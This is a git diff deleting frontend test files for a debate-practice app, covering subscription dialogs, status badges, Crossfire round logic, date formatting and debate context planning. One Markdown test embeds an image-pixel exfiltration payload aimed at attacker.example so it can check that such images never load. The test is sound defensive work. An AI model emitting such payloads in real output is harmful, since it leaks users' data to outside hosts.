renderModal('subscription_ended'); - expect(screen.getByRole('heading', { name: 'Your Pro subscription has ended' })).toBeInTheDocument(); - expect(screen.getByText(/Your Pro subscription ended on 1 Oct 2026/)).toBeInTheDocument(); - fireEvent.click(screen.getByRole('button', { name: 'Resubscribe' })); - expect(onUpgrade).toHaveBeenCalled(); - }); -}); - -// QB-06: Crossfire and Sparring open the dialog through SubscriptionErrorModals, -// which dropped the request's weight, so they said "50 of 50 used" where the -// other tools said the model counts as 5 uses. -describe('SubscriptionErrorModals', () => { - it('tells a weighted refusal the same way every tool does', () => { - const subError = { - limitModalOpen: true, - limitModalVariant: 'limit_reached', - limitModalLimit: 50, - limitModalCurrent: 47, - limitModalUnits: 5, - modelModalOpen: false, - pricingModalOpen: false, - setLimitModalOpen: vi.fn(), - setModelModalOpen: vi.fn(), - setPricingModalOpen: vi.fn(), - handleSubscriptionError: vi.fn(), - } satisfies ReturnType; - render(); - expect(screen.getByRole('dialog')).toHaveTextContent(i18n.t('limitModal.weightedDesc', { units: 5, remaining: 3 })); - }); -}); diff --git a/src/test/components/Markdown.test.tsx b/src/test/components/Markdown.test.tsx deleted file mode 100644 index e8f5c04c4..000000000 --- a/src/test/components/Markdown.test.tsx +++ /dev/null @@ -1,14 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { render } from '@testing-library/react'; -import { Markdown } from '@/components/ui/markdown'; - -describe('Markdown', () => { - it('never loads an image from model output, inline or by reference', () => { - const { container } = render( - {'![pixel](https://attacker.example/p.png?d=CASE)\n\n![ref][r]\n\n[r]: https://attacker.example/q'}, - ); - - expect(container.querySelector('img')).toBeNull(); - expect(container.querySelector('a[href="https://attacker.example/p.png?d=CASE"]')).toHaveTextContent('pixel'); - }); -}); diff --git a/src/test/components/SubscriptionStatus.test.tsx b/src/test/components/SubscriptionStatus.test.tsx deleted file mode 100644 index e58bca004..000000000 --- a/src/test/components/SubscriptionStatus.test.tsx +++ /dev/null @@ -1,123 +0,0 @@ -import { render, screen } from '@testing-library/react'; -import { describe, expect, it, vi } from 'vitest'; -import { SubscriptionStatus, type SubscriptionStatusProps } from '@/components/features/subscription/SubscriptionStatus'; - -function renderStatus(props: Partial) { - render( - , - ); -} - -const DATE = '2026-11-22T12:00:00.000Z'; - -// Each state's badge, the date beside it, the sentence below, and the one button. -const CASES: Array<{ - name: string; - props: Partial; - badge: string; - date: string | null; - text: RegExp; - button: string; -}> = [ - { name: 'trial', props: { billingState: 'trial', billingDate: DATE, billingDateKind: 'ends' }, badge: 'Free trial', date: 'Ends on 22 Nov 2026', text: /AI access is active/, button: 'Upgrade to Pro' }, - { - // QB-02: an override on an expired trial works, so it is not "Expired". - name: 'extended access', - props: { billingState: 'extended_access', dailyLimit: 10 }, - badge: 'Extended access', - date: null, - text: /Extended access is active: 10 AI uses a day\./, - button: 'Upgrade to Pro', - }, - { - name: 'Pro renewing', - props: { billingState: 'pro', billingDate: DATE, billingDateKind: 'renews', hasOpenSubscription: true, hasStripeBilling: true, dailyLimit: 50 }, - badge: 'Pro', - date: 'Renews on 22 Nov 2026', - text: /AI access is active/, - button: 'Manage subscription', - }, - { - // QB-15: a plan set to cancel says so. - name: 'Pro set to cancel', - props: { billingState: 'pro_canceling', billingDate: DATE, billingDateKind: 'cancels', hasOpenSubscription: true, hasStripeBilling: true, dailyLimit: 50 }, - badge: 'Pro', - date: 'Cancels on 22 Nov 2026', - text: /AI access is active/, - button: 'Manage subscription', - }, - { - // QB-13: the portal, never a second Checkout. - name: 'past due in grace', - props: { billingState: 'payment_failed', billingDate: DATE, billingDateKind: 'grace_ends', hasOpenSubscription: true, hasStripeBilling: true, dailyLimit: 50 }, - badge: 'Payment failed', - date: null, - text: /Payment failed: update your payment method to keep Pro\. Pro access continues until 22 Nov 2026/, - button: 'Manage subscription', - }, - { - name: 'past due after grace', - props: { billingState: 'payment_failed', hasOpenSubscription: true, hasStripeBilling: true, dailyLimit: 0 }, - badge: 'Payment failed', - date: null, - text: /update your payment method to restore AI access/, - button: 'Manage subscription', - }, - { - // QB-14: a former subscriber is not told their free trial ended. - name: 'subscription ended', - props: { billingState: 'subscription_ended', billingDate: DATE, billingDateKind: 'ended', hasStripeBilling: true, dailyLimit: 0 }, - badge: 'Expired', - date: null, - text: /Your Pro subscription ended on 22 Nov 2026\. Resubscribe/, - button: 'Resubscribe', - }, - { name: 'trial ended', props: { billingState: 'trial_ended', dailyLimit: 0 }, badge: 'Expired', date: null, text: /Your access has expired/, button: 'Upgrade to Pro' }, - { - name: 'legacy free', - props: { billingState: 'legacy_free', billingDate: DATE, billingDateKind: 'ends', dailyLimit: 50 }, - badge: 'Legacy free', - date: 'Ends on 22 Nov 2026', - text: /AI access is active/, - button: 'Upgrade to Pro', - }, - { - name: 'lifetime promo Pro', - props: { billingState: 'pro', dailyLimit: 50 }, - badge: 'Pro', - date: null, - text: /^Your Pro access comes from a promo code, so billing is optional\.$/, - button: 'Set up billing', - }, - { - // QA round 3: a dated promo said nothing about where Pro came from. - name: 'promo Pro with an end date', - props: { billingState: 'pro', billingDate: DATE, billingDateKind: 'ends', dailyLimit: 50 }, - badge: 'Pro', - date: 'Ends on 22 Nov 2026', - text: /comes from a promo code and runs until 22 Nov 2026\. Billing is optional until then/, - button: 'Set up billing', - }, -]; - -describe('SubscriptionStatus', () => { - it.each(CASES)('$name', ({ props, badge, date, text, button }) => { - renderStatus(props); - expect(screen.getByText(badge, { exact: true })).toBeInTheDocument(); - if (date) expect(screen.getByTestId('billing-date')).toHaveTextContent(date); - else expect(screen.queryByTestId('billing-date')).not.toBeInTheDocument(); - expect(screen.getByText(text)).toBeInTheDocument(); - expect(screen.getAllByRole('button').map((element) => element.textContent)).toEqual([button]); - }); -}); diff --git a/src/test/components/WebTelemetry.test.tsx b/src/test/components/WebTelemetry.test.tsx deleted file mode 100644 index b8702b23c..000000000 --- a/src/test/components/WebTelemetry.test.tsx +++ /dev/null @@ -1,27 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { componentFromModule, loadOptionalComponent } from '@/components/optional-telemetry'; - -function Marker(): null { - return null; -} - -describe('optional telemetry modules', () => { - it('does not throw when a preload resolves to undefined', async () => { - expect(componentFromModule(undefined, 'Analytics').name).toBe('HiddenTelemetry'); - const loaded = await loadOptionalComponent(() => Promise.resolve(undefined), 'Analytics'); - expect(loaded.default.name).toBe('HiddenTelemetry'); - }); - - it('uses the named export when the chunk arrives', async () => { - const loaded = await loadOptionalComponent( - () => Promise.resolve({ Analytics: Marker }), - 'Analytics', - ); - expect(loaded.default).toBe(Marker); - }); - - it('resolves a fallback when the chunk rejects', async () => { - const loaded = await loadOptionalComponent(() => Promise.reject(new TypeError('Failed to fetch')), 'SpeedInsights'); - expect(loaded.default.name).toBe('HiddenTelemetry'); - }); -}); diff --git a/src/test/crossfire/crossfire-daily-limit.test.tsx b/src/test/crossfire/crossfire-daily-limit.test.tsx deleted file mode 100644 index 2adf570b5..000000000 --- a/src/test/crossfire/crossfire-daily-limit.test.tsx +++ /dev/null @@ -1,135 +0,0 @@ -import { fireEvent, render, screen } from '@testing-library/react'; -import { MemoryRouter } from 'react-router-dom'; -import { beforeEach, describe, expect, it, vi } from 'vitest'; - -const mocks = vi.hoisted(() => ({ - crossfire: vi.fn<(input: { operation: string }) => Promise>(), - // The pre-start quota check: the refusal a new round would meet, or null. - checkBeforeStart: vi.fn<() => Promise>(async () => null), -})); - -vi.mock('@/lib/supabase/AuthProvider', () => ({ - useAuth: () => ({ user: { id: 'user-a' } }), -})); - -vi.mock('@/hooks/use-session-quota', () => ({ - useSessionQuota: () => ({ units: 1, remaining: 0, blocked: null as string | null, checkBeforeStart: mocks.checkBeforeStart }), -})); - -vi.mock('@/hooks/use-subscription', () => ({ - useSubscription: () => ({ isPro: false, tier: 'trial', loading: false }), -})); - -vi.mock('@/lib/stores/session-store', () => ({ - useSessionStore: (selector: (state: { sourceLibrary: unknown[] }) => unknown) => selector({ sourceLibrary: [] }), -})); - -vi.mock('@/lib/stores/settings-store', () => ({ - useSettingsStore: () => ({ - getFeatureConfig: () => ({ provider: 'google', model: 'gemini-3-flash-preview' }), - outputLanguage: 'en', - }), -})); - -vi.mock('@/lib/ai/client', async () => { - const errors = await vi.importActual('@/lib/ai/errors'); - return { - AIResponseError: errors.AIResponseError, - AIProviderError: errors.AIProviderError, - AISubscriptionError: errors.AISubscriptionError, - isAISubscriptionError: errors.isAISubscriptionError, - isAIModelRestrictionError: errors.isAIModelRestrictionError, - crossfire: mocks.crossfire, - crossfireSignal: vi.fn(() => Promise.resolve(undefined)), - isTimeoutError: () => false, - }; -}); - -import CrossfirePage from '@/pages/CrossfirePage'; -import { AISubscriptionError } from '@/lib/ai/client'; -import { enableOneOffMode } from '@/test/helpers/debate'; - -function outOfRequests() { - return new AISubscriptionError("You've used all 5 of your daily requests. Upgrade to Pro for 50 daily requests.", { - statusCode: 402, - code: 'limit_reached', - limit: 5, - current: 5, - }); -} - -function startRound(mode: 'question-ai' | 'ai-questions-user') { - render(); - fireEvent.change(screen.getByTestId('crossfire-resolution'), { target: { value: 'Resolved: test' } }); - fireEvent.change(screen.getByTestId('crossfire-argument'), { target: { value: 'Case text' } }); - fireEvent.click(screen.getByTestId(`mode-${mode}`)); - fireEvent.click(screen.getByTestId('start-crossfire')); -} - -describe('Crossfire out of daily requests', () => { - beforeEach(() => { - enableOneOffMode(); - vi.clearAllMocks(); - localStorage.clear(); - }); - - it('does not start the round or its clock when the first AI turn is refused, and opens the daily-limit dialog', async () => { - mocks.crossfire.mockRejectedValueOnce(outOfRequests()); - startRound('ai-questions-user'); - - expect(await screen.findByRole('dialog')).toHaveTextContent('5 of 5'); - expect(screen.queryByTestId('end-crossfire')).not.toBeInTheDocument(); - expect(screen.getByTestId('start-crossfire')).toBeInTheDocument(); - expect(screen.getByTestId('crossfire-resolution')).toHaveValue('Resolved: test'); - }); - - it('checks the quota before the clock starts, so a round that would not fit never starts', async () => { - mocks.checkBeforeStart.mockResolvedValueOnce(outOfRequests()); - startRound('ai-questions-user'); - - expect(await screen.findByRole('dialog')).toHaveTextContent('5 of 5'); - expect(mocks.crossfire).not.toHaveBeenCalled(); - expect(screen.queryByTestId('end-crossfire')).not.toBeInTheDocument(); - expect(screen.getByTestId('crossfire-resolution')).toHaveValue('Resolved: test'); - }); - - it('names the round on every turn so the server charges it once', async () => { - mocks.crossfire.mockResolvedValueOnce({ type: 'question', text: 'Who pays the cost?' }); - startRound('ai-questions-user'); - fireEvent.change(await screen.findByTestId('crossfire-input'), { target: { value: 'The travellers do.' } }); - fireEvent.click(screen.getByTestId('submit-turn')); - - await vi.waitFor(() => expect(mocks.crossfire).toHaveBeenCalledTimes(2)); - const sessions = mocks.crossfire.mock.calls.map((call) => (call as unknown[])[2] as { quotaSession?: string }); - expect(sessions[0].quotaSession).toMatch(/^crossfire-\d+$/); - expect(sessions[1].quotaSession).toBe(sessions[0].quotaSession); - }); - - it('keeps a round that already has an exchange, so it can still be ended and debriefed', async () => { - mocks.crossfire - .mockResolvedValueOnce({ type: 'question', text: 'Who pays the cost?' }) - .mockRejectedValueOnce(outOfRequests()); - startRound('ai-questions-user'); - - fireEvent.change(await screen.findByTestId('crossfire-input'), { target: { value: 'The travellers do.' } }); - fireEvent.click(screen.getByTestId('submit-turn')); - - expect(await screen.findByRole('dialog')).toBeInTheDocument(); - // Inline too, in the dialog's words rather than the server's English. - // The open dialog hides the page from the accessibility tree. - const inline = screen.getAllByRole('alert', { hidden: true }).find((alert) => alert.textContent?.includes('5 of 5 included AI uses')); - expect(inline).toBeDefined(); - expect(screen.queryByText(/Upgrade to Pro for 50 daily requests/)).not.toBeInTheDocument(); - expect(screen.getByTestId('end-crossfire')).toBeEnabled(); - }); - - it('lets a round with no exchange be ended by hand without an error', async () => { - mocks.crossfire.mockImplementation(() => new Promise(() => undefined)); - startRound('ai-questions-user'); - - fireEvent.click(await screen.findByTestId('end-crossfire')); - - expect(screen.getByTestId('start-crossfire')).toBeInTheDocument(); - expect(screen.queryByText('Complete at least one exchange before ending the session.')).not.toBeInTheDocument(); - }); -}); diff --git a/src/test/crossfire/reducer.test.ts b/src/test/crossfire/reducer.test.ts deleted file mode 100644 index 3555f2473..000000000 --- a/src/test/crossfire/reducer.test.ts +++ /dev/null @@ -1,261 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { - canEndCrossfireSession, - createCrossfireSetupState, - crossfireReducer, - expectedUserTurnKind, -} from '@/lib/crossfire/reducer'; -import type { CrossfireDebrief, CrossfireState, CrossfireTurn } from '@/lib/crossfire/schemas'; - -function configured(mode: 'question-ai' | 'ai-questions-user' = 'question-ai'): CrossfireState { - return { - phase: 'setup', - config: { - resolution: 'Resolved: cities should ban private cars downtown.', - argument: 'Private cars create congestion and unsafe streets.', - mode, - style: 'evasive', - durationSeconds: 180, - useSourceLibrary: false, - seedQuestions: [], - }, - }; -} - -function turn( - sequence: number, - speaker: 'user' | 'ai', - kind: 'question' | 'answer', - text = 'A bounded transcript turn.', -): CrossfireTurn { - return { id: `T${sequence}`, sequence, speaker, kind, text, createdAt: sequence }; -} - -const debrief: CrossfireDebrief = { - concessionsSecured: [], - controlledQuestions: [{ turnIds: ['T1'], claim: 'The question fixes the comparison.' }], - weakOrRepetitiveQuestions: [], - evasiveOrIncompleteAnswers: [], - missedFollowUps: [], - betterFollowUpQuestions: [], - strongestExchange: { turnIds: ['T1', 'T2'], claim: 'The exchange addresses the main warrant.' }, -}; - -describe('crossfireReducer', () => { - it('models Question the AI transitions and keeps a submitted question after failure', () => { - let state = crossfireReducer(configured(), { type: 'session-started', sessionId: 'session-1', now: 1_000 }); - expect(state.phase).toBe('active'); - expect(expectedUserTurnKind(state)).toBe('question'); - - state = crossfireReducer(state, { - type: 'user-turn-submitted', - turn: turn(1, 'user', 'question', 'What is the mechanism?'), - expectedReply: 'answer', - }); - expect(state.phase === 'active' && state.turns).toHaveLength(1); - - state = crossfireReducer(state, { - type: 'request-failed', - expectedReply: 'answer', - errorKind: 'timeout', - message: 'Timed out', - }); - expect(state.phase === 'active' && state.request.status).toBe('failed'); - expect(state.phase === 'active' && state.turns[0].text).toBe('What is the mechanism?'); - - state = crossfireReducer(state, { type: 'request-retried' }); - expect(state.phase === 'active' && state.request.status).toBe('pending'); - state = crossfireReducer(state, { type: 'ai-turn-received', turn: turn(2, 'ai', 'answer') }); - expect(expectedUserTurnKind(state)).toBe('question'); - expect(canEndCrossfireSession(state)).toBe(true); - }); - - it('attaches a live signal only to its answer and replaces it on retry', () => { - let state = crossfireReducer(configured(), { type: 'session-started', sessionId: 'signal-session', now: 1 }); - state = crossfireReducer(state, { type: 'user-turn-submitted', turn: turn(1, 'user', 'question'), expectedReply: 'answer' }); - const signal = { answerTurnId: 'T2', answerQuality: 'direct' as const, answerQualityConfidence: 0.9, concession: 'none' as const, concessionConfidence: 0.8, followUpOpportunity: 0.75 }; - state = crossfireReducer(state, { type: 'ai-turn-received', turn: turn(2, 'ai', 'answer') }); - expect(state.phase === 'active' && state.turns[1].signal).toBeUndefined(); - state = crossfireReducer(state, { type: 'signal-received', signal }); - expect(state.phase === 'active' && state.turns[0].signal).toBeUndefined(); - expect(state.phase === 'active' && state.turns[1].signal).toEqual(signal); - - const invalidTarget = crossfireReducer(state, { type: 'state-restored', state: { - ...state, - turns: state.phase === 'active' ? state.turns.map((item) => item.id === 'T2' ? { ...item, signal: { ...signal, answerTurnId: 'T9' } } : item) : [], - } as CrossfireState }); - expect(invalidTarget).toEqual(createCrossfireSetupState()); - }); - - it('attaches a signal to the previous user answer when the AI returns the next question', () => { - let state = crossfireReducer(configured('ai-questions-user'), { type: 'session-started', sessionId: 'signal-session-2', now: 1 }); - state = crossfireReducer(state, { type: 'ai-turn-received', turn: turn(1, 'ai', 'question') }); - state = crossfireReducer(state, { type: 'user-turn-submitted', turn: turn(2, 'user', 'answer'), expectedReply: 'question' }); - const signal = { answerTurnId: 'T2', answerQuality: 'partial' as const, answerQualityConfidence: 0.8, concession: 'implicit' as const, concessionConfidence: 0.7, followUpOpportunity: 0.9 }; - state = crossfireReducer(state, { type: 'ai-turn-received', turn: turn(3, 'ai', 'question') }); - state = crossfireReducer(state, { type: 'signal-received', signal }); - expect(state.phase === 'active' && state.turns[1].signal).toEqual(signal); - expect(state.phase === 'active' && state.turns[2].signal).toBeUndefined(); - }); - - it('models Let the AI question me and requests a new question after the user answer', () => { - let state = crossfireReducer(configured('ai-questions-user'), { - type: 'session-started', - sessionId: 'session-2', - now: 2_000, - }); - expect(canEndCrossfireSession(state)).toBe(true); - expect(state.phase === 'active' && state.request).toEqual({ status: 'pending', expectedReply: 'question' }); - state = crossfireReducer(state, { type: 'ai-turn-received', turn: turn(1, 'ai', 'question') }); - expect(expectedUserTurnKind(state)).toBe('answer'); - state = crossfireReducer(state, { - type: 'user-turn-submitted', - turn: turn(2, 'user', 'answer'), - expectedReply: 'question', - }); - expect(state.phase === 'active' && state.request).toEqual({ status: 'pending', expectedReply: 'question' }); - expect(state.phase === 'active' && state.turns).toHaveLength(2); - }); - - it('ends manually or on timer, retries a failed debrief, and completes', () => { - let state = crossfireReducer(configured(), { type: 'session-started', sessionId: 'session-3', now: 1_000 }); - state = crossfireReducer(state, { - type: 'user-turn-submitted', - turn: turn(1, 'user', 'question'), - expectedReply: 'answer', - }); - state = crossfireReducer(state, { type: 'ai-turn-received', turn: turn(2, 'ai', 'answer') }); - state = crossfireReducer(state, { type: 'session-ended', now: 5_000, reason: 'timer' }); - expect(state.phase === 'debriefing' && state.endedReason).toBe('timer'); - state = crossfireReducer(state, { - type: 'debrief-failed', - errorKind: 'response', - message: 'Malformed response', - }); - expect(state.phase === 'debriefing' && state.requestStatus).toBe('failed'); - state = crossfireReducer(state, { type: 'debrief-retried' }); - state = crossfireReducer(state, { type: 'debrief-received', debrief }); - expect(state.phase).toBe('complete'); - }); - - it('carries a voice round from setup to the finished debrief, with measured facts on spoken turns', () => { - const delivery = { speakingSeconds: 4, wordCount: 8, wordsPerMinute: 120, fillerCount: 1, fillers: [{ word: 'um', count: 1 }], longPauses: 0, longestPauseSeconds: 0 }; - let state = crossfireReducer(configured(), { type: 'voice-toggled', voice: true }); - expect(state.voice).toBe(true); - state = crossfireReducer(state, { type: 'session-started', sessionId: 'voice-session', now: 1_000 }); - expect(state.voice).toBe(true); - - // The toggle belongs to setup; a running round keeps the mode it started in. - expect(crossfireReducer(state, { type: 'voice-toggled', voice: false })).toBe(state); - - state = crossfireReducer(state, { type: 'user-turn-submitted', turn: { ...turn(1, 'user', 'question'), delivery }, expectedReply: 'answer' }); - expect(state.phase === 'active' && state.turns[0].delivery).toEqual(delivery); - state = crossfireReducer(state, { type: 'ai-turn-received', turn: turn(2, 'ai', 'answer') }); - state = crossfireReducer(state, { type: 'session-ended', now: 2_000, reason: 'manual' }); - expect(state.voice).toBe(true); - state = crossfireReducer(state, { type: 'debrief-received', debrief }); - expect(state.phase).toBe('complete'); - expect(state.voice).toBe(true); - expect(state.phase === 'complete' && state.turns[0].delivery).toEqual(delivery); - }); - - it('keeps typed rounds free of the voice marker and refuses delivery facts on an AI turn', () => { - let state = crossfireReducer(configured(), { type: 'voice-toggled', voice: true }); - state = crossfireReducer(state, { type: 'voice-toggled', voice: false }); - state = crossfireReducer(state, { type: 'session-started', sessionId: 'typed-session', now: 1_000 }); - expect(state).not.toHaveProperty('voice'); - state = crossfireReducer(state, { type: 'user-turn-submitted', turn: turn(1, 'user', 'question'), expectedReply: 'answer' }); - const delivery = { speakingSeconds: 4, wordCount: 8, wordsPerMinute: 120, fillerCount: 0, fillers: [] as Array<{ word: string; count: number }>, longPauses: 0, longestPauseSeconds: 0 }; - const rejected = crossfireReducer(state, { type: 'ai-turn-received', turn: { ...turn(2, 'ai', 'answer'), delivery } }); - expect(rejected).toBe(state); - state = crossfireReducer(state, { type: 'ai-turn-received', turn: turn(2, 'ai', 'answer') }); - state = crossfireReducer(state, { type: 'session-ended', now: 2_000, reason: 'timer' }); - expect(state).not.toHaveProperty('voice'); - state = crossfireReducer(state, { type: 'debrief-received', debrief }); - expect(state).not.toHaveProperty('voice'); - }); - - it('ignores illegal transitions and duplicate turn sequences', () => { - const setup = createCrossfireSetupState(); - expect(crossfireReducer(setup, { type: 'ai-turn-received', turn: turn(1, 'ai', 'answer') })).toBe(setup); - - let active = crossfireReducer(configured(), { type: 'session-started', sessionId: 'session-4', now: 1 }); - const unchanged = crossfireReducer(active, { type: 'ai-turn-received', turn: turn(1, 'ai', 'answer') }); - expect(unchanged).toBe(active); - - active = crossfireReducer(active, { - type: 'user-turn-submitted', - turn: turn(2, 'user', 'question'), - expectedReply: 'answer', - }); - expect(active.phase === 'active' && active.turns).toHaveLength(0); - - active = crossfireReducer(active, { - type: 'user-turn-submitted', - turn: turn(1, 'user', 'question'), - expectedReply: 'answer', - }); - active = crossfireReducer(active, { type: 'ai-turn-received', turn: turn(2, 'ai', 'answer') }); - const duplicateId = crossfireReducer(active, { - type: 'user-turn-submitted', - turn: { ...turn(3, 'user', 'question'), id: 'T1' }, - expectedReply: 'answer', - }); - expect(duplicateId).toBe(active); - }); - - it('patches valid setup fields, rejects invalid patches, and resets with a prefill', () => { - const setup = createCrossfireSetupState(); - const patched = crossfireReducer(setup, { - type: 'config-patched', - patch: { resolution: 'Resolved: test', argument: 'Case text', style: 'aggressive' }, - }); - expect(patched.phase === 'setup' && patched.config.style).toBe('aggressive'); - - const invalid = crossfireReducer(patched, { - type: 'config-patched', - patch: { resolution: 'x'.repeat(501) }, - }); - expect(invalid).toBe(patched); - - const active = crossfireReducer(patched, { type: 'session-started', sessionId: 'session-5', now: 1 }); - expect(crossfireReducer(active, { type: 'config-patched', patch: { style: 'evasive' } })).toBe(active); - const reset = crossfireReducer(active, { - type: 'session-reset', - prefill: { resolution: 'New resolution', argument: 'New case' }, - }); - expect(reset.phase === 'setup' && reset.config.resolution).toBe('New resolution'); - }); - - it('rejects a user turn with the wrong role contract and an invalid debrief', () => { - const active = crossfireReducer(configured(), { type: 'session-started', sessionId: 'session-6', now: 1 }); - const wrongRole = crossfireReducer(active, { - type: 'user-turn-submitted', - turn: turn(1, 'user', 'answer'), - expectedReply: 'question', - }); - expect(wrongRole).toBe(active); - - let debriefing = crossfireReducer(active, { - type: 'user-turn-submitted', - turn: turn(1, 'user', 'question'), - expectedReply: 'answer', - }); - debriefing = crossfireReducer(debriefing, { type: 'ai-turn-received', turn: turn(2, 'ai', 'answer') }); - debriefing = crossfireReducer(debriefing, { type: 'session-ended', now: 4, reason: 'manual' }); - const invalidDebrief = crossfireReducer(debriefing, { - type: 'debrief-received', - debrief: { ...debrief, concessionsSecured: [{ turnIds: [], claim: 'Missing reference' }] }, - }); - expect(invalidDebrief).toBe(debriefing); - }); - - it('restores only schema-valid state when the session owner changes', () => { - const current = configured(); - const restored = configured('ai-questions-user'); - expect(crossfireReducer(current, { type: 'state-restored', state: restored })).toEqual(restored); - - const invalid = { phase: 'active', turns: 'not-a-transcript' } as unknown as CrossfireState; - expect(crossfireReducer(current, { type: 'state-restored', state: invalid })).toEqual(createCrossfireSetupState()); - }); -}); diff --git a/src/test/date-format.test.ts b/src/test/date-format.test.ts deleted file mode 100644 index f8e7a5e21..000000000 --- a/src/test/date-format.test.ts +++ /dev/null @@ -1,35 +0,0 @@ -import { beforeAll, expect, test } from 'vitest'; -import { loadAllAppLanguages } from '../i18n'; -import { formatDecimal, formatEuropeanDate, formatEuropeanDateTime, formatNumber } from '../lib/date-format'; - -beforeAll(() => loadAllAppLanguages()); - -const OCT_23 = new Date(2026, 9, 23, 14, 5); - -test('numbers group thousands in the active language, four-digit ones included', () => { - expect(`40/${formatNumber(1200, 'en')}`).toBe('40/1,200'); - expect(`40/${formatNumber(1200, 'es')}`).toBe('40/1.200'); - expect(`40/${formatNumber(1200, 'hu')}`).toBe('40/1 200'); - expect(formatNumber(40, 'es')).toBe('40'); -}); - -test('decimals use the language separator', () => { - expect(formatDecimal(1.25, 1, 'en')).toBe('1.3'); - expect(formatDecimal(1.25, 1, 'es')).toBe('1,3'); - expect(formatDecimal(1.25, 1, 'hu')).toBe('1,3'); - expect(formatDecimal(12, 0, 'hu')).toBe('12'); -}); - -test('dates name the month, so day and month cannot be confused', () => { - expect(formatEuropeanDate(OCT_23, undefined, 'en')).toBe('23 Oct 2026'); - expect(formatEuropeanDate(OCT_23, undefined, 'es')).toBe('23 oct 2026'); - expect(formatEuropeanDate(OCT_23, undefined, 'hu')).toBe('2026. okt. 23.'); - expect(formatEuropeanDateTime(OCT_23, undefined, 'en')).toBe('23 Oct 2026, 14:05'); -}); - -test('a missing date reads as not available in the language', () => { - expect(formatEuropeanDate('not a date', undefined, 'en')).toBe('N/A'); - expect(formatEuropeanDate('not a date', undefined, 'es')).toBe('N/D'); - expect(formatEuropeanDate('not a date', undefined, 'hu')).toBe('nincs adat'); - expect(formatEuropeanDate('not a date', '—', 'hu')).toBe('—'); -}); diff --git a/src/test/debate/debate-context.test.tsx b/src/test/debate/debate-context.test.tsx deleted file mode 100644 index bafe46c80..000000000 --- a/src/test/debate/debate-context.test.tsx +++ /dev/null @@ -1,438 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { act, fireEvent, render, screen, waitFor, within } from '@testing-library/react'; -import { resetMockState, setMockInvokeResponse, setMockSessionToken, supabaseMock } from '@/test/mocks/supabase'; - -vi.mock('@/lib/supabase/client', async () => { - const { supabaseMock: mock } = await import('@/test/mocks/supabase'); - return { - getActiveAccessToken: (): string | null => null, - getActiveUserId: (): string | null => null, - invokeAuthenticatedFunction: mock.functions.invoke, - supabase: mock, - }; -}); - -import i18n from '@/i18n'; -import { planDebateContext, type DebateContextInputs } from '@/lib/debate/context'; -import { DebateContextControl } from '@/components/features/debate/DebateContextControl'; -import { brainstorm } from '@/lib/ai/client'; -import { useDebateContextStore } from '@/lib/stores/debate-context-store'; -import { useDebateStore } from '@/lib/stores/debate-store'; -import { useSessionStore, type SavedItem, type Source } from '@/lib/stores/session-store'; -import { useSparringStore } from '@/lib/stores/sparring-store'; -import { enableOneOffMode, resetDebates, seedCurrentDebate, TEST_DEBATE_ID } from '@/test/helpers/debate'; - -const OTHER_DEBATE = '99999999-2222-4333-8444-555555555555'; -const uuid = (n: number) => `00000000-0000-4000-8000-${String(n).padStart(12, '0')}`; - -function source(n: number, overrides: Partial = {}): Source { - return { id: uuid(n), title: `Source ${n}`, content: `Evidence ${n}`, type: 'text', debateId: TEST_DEBATE_ID, createdAt: n, isActive: true, ...overrides }; -} - -function result(n: number, data: T, overrides: Partial> = {}): SavedItem { - return { id: uuid(n), title: `Result ${n}`, data, createdAt: n, debateId: TEST_DEBATE_ID, side: 'pro', ...overrides }; -} - -const caseData = { caseStructure: { thesis: 'Free transport cuts emissions' }, contentions: [{ claim: 'Cheaper travel', reasoning: 'Fares deter riders', impact: 'More riders' }] }; - -function inputs(overrides: Partial = {}): DebateContextInputs { - return { - sourceLibrary: [source(1), source(2, { isActive: false }), source(3, { debateId: OTHER_DEBATE })], - results: { - case: [result(10, caseData), result(11, caseData, { side: 'con' }), result(12, caseData, { debateId: OTHER_DEBATE })], - chat: [result(20, [{ role: 'user', content: 'Question' }])], - }, - sparringSessions: [], - pins: [], - ...overrides, - }; -} - -describe('Current Debate context plan', () => { - it('sends active sources and relevant same-side results from this debate only', () => { - const plan = planDebateContext('generate', 'pro', TEST_DEBATE_ID, inputs()); - expect(plan.request.sourceIds).toEqual([uuid(1)]); - expect(plan.request.outputs).toEqual([{ kind: 'case', id: uuid(10) }]); - expect(plan.sources.map((item) => item.id)).not.toContain(uuid(3)); - expect(plan.outputs.map((item) => item.ref.id)).not.toContain(uuid(12)); - }); - - it('applies Review choices and pins, and leaves inactive sources out by default', () => { - const plan = planDebateContext('generate', 'pro', TEST_DEBATE_ID, inputs({ - pins: [{ kind: 'chat', id: uuid(20) }], - override: { debateId: TEST_DEBATE_ID, sources: { [uuid(1)]: false, [uuid(2)]: true }, outputs: { [`case:${uuid(10)}`]: false } }, - })); - expect(plan.request.sourceIds).toEqual([uuid(2)]); - expect(plan.request.outputs).toEqual([{ kind: 'chat', id: uuid(20) }]); - }); - - it('ignores choices made for another debate', () => { - const plan = planDebateContext('generate', 'pro', TEST_DEBATE_ID, inputs({ - override: { debateId: OTHER_DEBATE, sources: { [uuid(1)]: false }, outputs: {} }, - })); - expect(plan.request.sourceIds).toEqual([uuid(1)]); - }); - - it('keeps live sparring transcript-only and respects Library grounding turned off', () => { - const sparring = planDebateContext('sparring', 'pro', TEST_DEBATE_ID, inputs()); - expect(sparring.request).toMatchObject({ sourceIds: [], outputs: [] }); - const crossfire = planDebateContext('crossfire', 'both', TEST_DEBATE_ID, inputs(), { includeSources: false }); - expect(crossfire.request.sourceIds).toEqual([]); - expect(crossfire.policy.instructions).toBe(false); - }); - - it('marks results that will not fit instead of claiming they were used', () => { - const big = { caseStructure: { thesis: 'x'.repeat(400) }, contentions: Array.from({ length: 4 }, () => ({ claim: 'c'.repeat(200), reasoning: 'r'.repeat(320), impact: 'i'.repeat(240) })) }; - const plan = planDebateContext('ask', 'both', TEST_DEBATE_ID, inputs({ - results: { case: Array.from({ length: 6 }, (_, n) => result(30 + n, big)) }, - pins: Array.from({ length: 3 }, (_, n) => ({ kind: 'case' as const, id: uuid(30 + n) })), - })); - const flagged = plan.outputs.filter((item) => item.omittedForSize); - expect(flagged.length).toBeGreaterThan(0); - expect(flagged.every((item) => item.included)).toBe(true); - }); - - it('skips the chat already open in Ask', () => { - const plan = planDebateContext('ask', 'both', TEST_DEBATE_ID, inputs({ pins: [{ kind: 'chat', id: uuid(20) }], 